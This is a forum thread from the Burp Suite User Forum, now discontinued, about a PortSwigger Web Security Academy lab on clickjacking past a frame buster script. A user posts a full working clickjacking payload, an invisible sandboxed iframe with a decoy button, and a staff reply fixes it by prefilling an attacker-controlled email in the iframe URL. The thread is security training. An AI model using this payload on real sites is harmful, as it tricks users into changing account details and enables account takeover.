Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: Clickjacking with a frame buster script

PhenomAnon | Last updated: Sep 30, 2022 11:00PM UTC

I can't understand why my solutions doesn't work. I have the frame buster script in there exactly as it should be as far as I can tell. And the button is right on top of the Change email account button... I tried it both in the Brave browser and the Chrome browser. I put this in the body of my exploit server (in Chrome): <style> iframe { position: relative; width:500px; height: 700px; opacity: 0.0001; z-index: 2; } div { position: absolute; top:459px; left:80px; z-index: 1; } </style> <div>Click Me</div> <iframe sandbox="allow-forms" src="https://0ac40033042ff697c0a7bdd200cb000b.web-security-academy.net/my-account"></iframe> Store it on exploit server, then delivered it to my victim and still didn't pass the lab. I even looked through the access log. Are we supposed to kick something out to the log?

Ben, PortSwigger Agent | Last updated: Oct 03, 2022 09:07AM UTC

Hi, The src parameter is supposed to be in the following format: src="https://0ac40033042ff697c0a7bdd200cb000b.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe> This ensures that when the victim user clicks the link the email address is then updated with the corresponding value.

PhenomAnon | Last updated: Oct 05, 2022 09:59PM UTC